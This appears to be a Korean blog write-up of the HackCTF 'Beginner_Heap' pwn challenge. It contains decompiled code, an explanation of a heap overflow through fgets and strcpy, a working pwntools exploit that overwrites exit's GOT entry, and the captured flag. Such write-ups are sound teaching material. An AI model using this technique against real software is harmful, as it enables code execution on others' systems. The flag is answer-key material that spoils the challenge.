-
Beginner_HeapCTF/HackCTF 2021. 2. 9. 00:30
Disassembly 디스어셈블리
void main(undefined8 argc, char **argv) { undefined4 *puVar1; undefined8 uVar2; undefined4 *puVar3; char *src; puVar1 = (undefined4 *)malloc(0x10); *puVar1 = 1; uVar2 = malloc(8); *(undefined8 *)(puVar1 + 2) = uVar2; puVar3 = (undefined4 *)malloc(0x10); *puVar3 = 2; uVar2 = malloc(8); *(undefined8 *)(puVar3 + 2) = uVar2; fgets(&src, 0x1000, _reloc.stdin); strcpy(*(undefined8 *)(puVar1 + 2), &src); fgets(&src, 0x1000, _reloc.stdin); strcpy(*(undefined8 *)(puVar3 + 2), &src); exit(0); }
main은 할당된 힙에 fgets로 입력을 두 번 받는다.
Buffer Overflow
AAAA를 두 번 입력한 결과는 다음과 같다. 힙 청크의 최소 크기인 0x20단위로 네 개의 힙이 할당되어 있고, 입력한 "AAAA\n"이 0x6022c0과 0x602300에 들어있다. fgets로 최대 0x1000바이트만큼 입력받으므로 두 번째 입력받을 주소인 *(puvar3 + 2)를 덮을 수 있다.
바이너리에 flag를 출력하는 함수가 있으므로 exit의 got를 위 주소로 덮으면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./beginner_heap.bin" server = "ctf.j0n9hyun.xyz" port = 3016 context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = gdb.debug([binary], gdbscript = 'set debug-file-directory ./x86_64-linux-gnu') e = ELF(binary) e.checksec() flag = 0x40083d exit_got = e.got["exit"] def overwrite(dest, src): payload = b"\x90"*0x28 payload += p64(dest) p.sendline(payload) payload = p64(src) p.sendline(payload) overwrite(exit_got, flag) p.interactive()
Flag
HackCTF{4r3_y0u_r34dy_w3lc0m3_70_h34p_53k41}
'CTF > HackCTF' 카테고리의 다른 글
World Best Encryption Tool (0) 2021.02.09 UAF (0) 2021.02.09 j0n9hyun's secret (0) 2021.02.07 SysROP (0) 2021.02.05 Pwning (0) 2021.02.05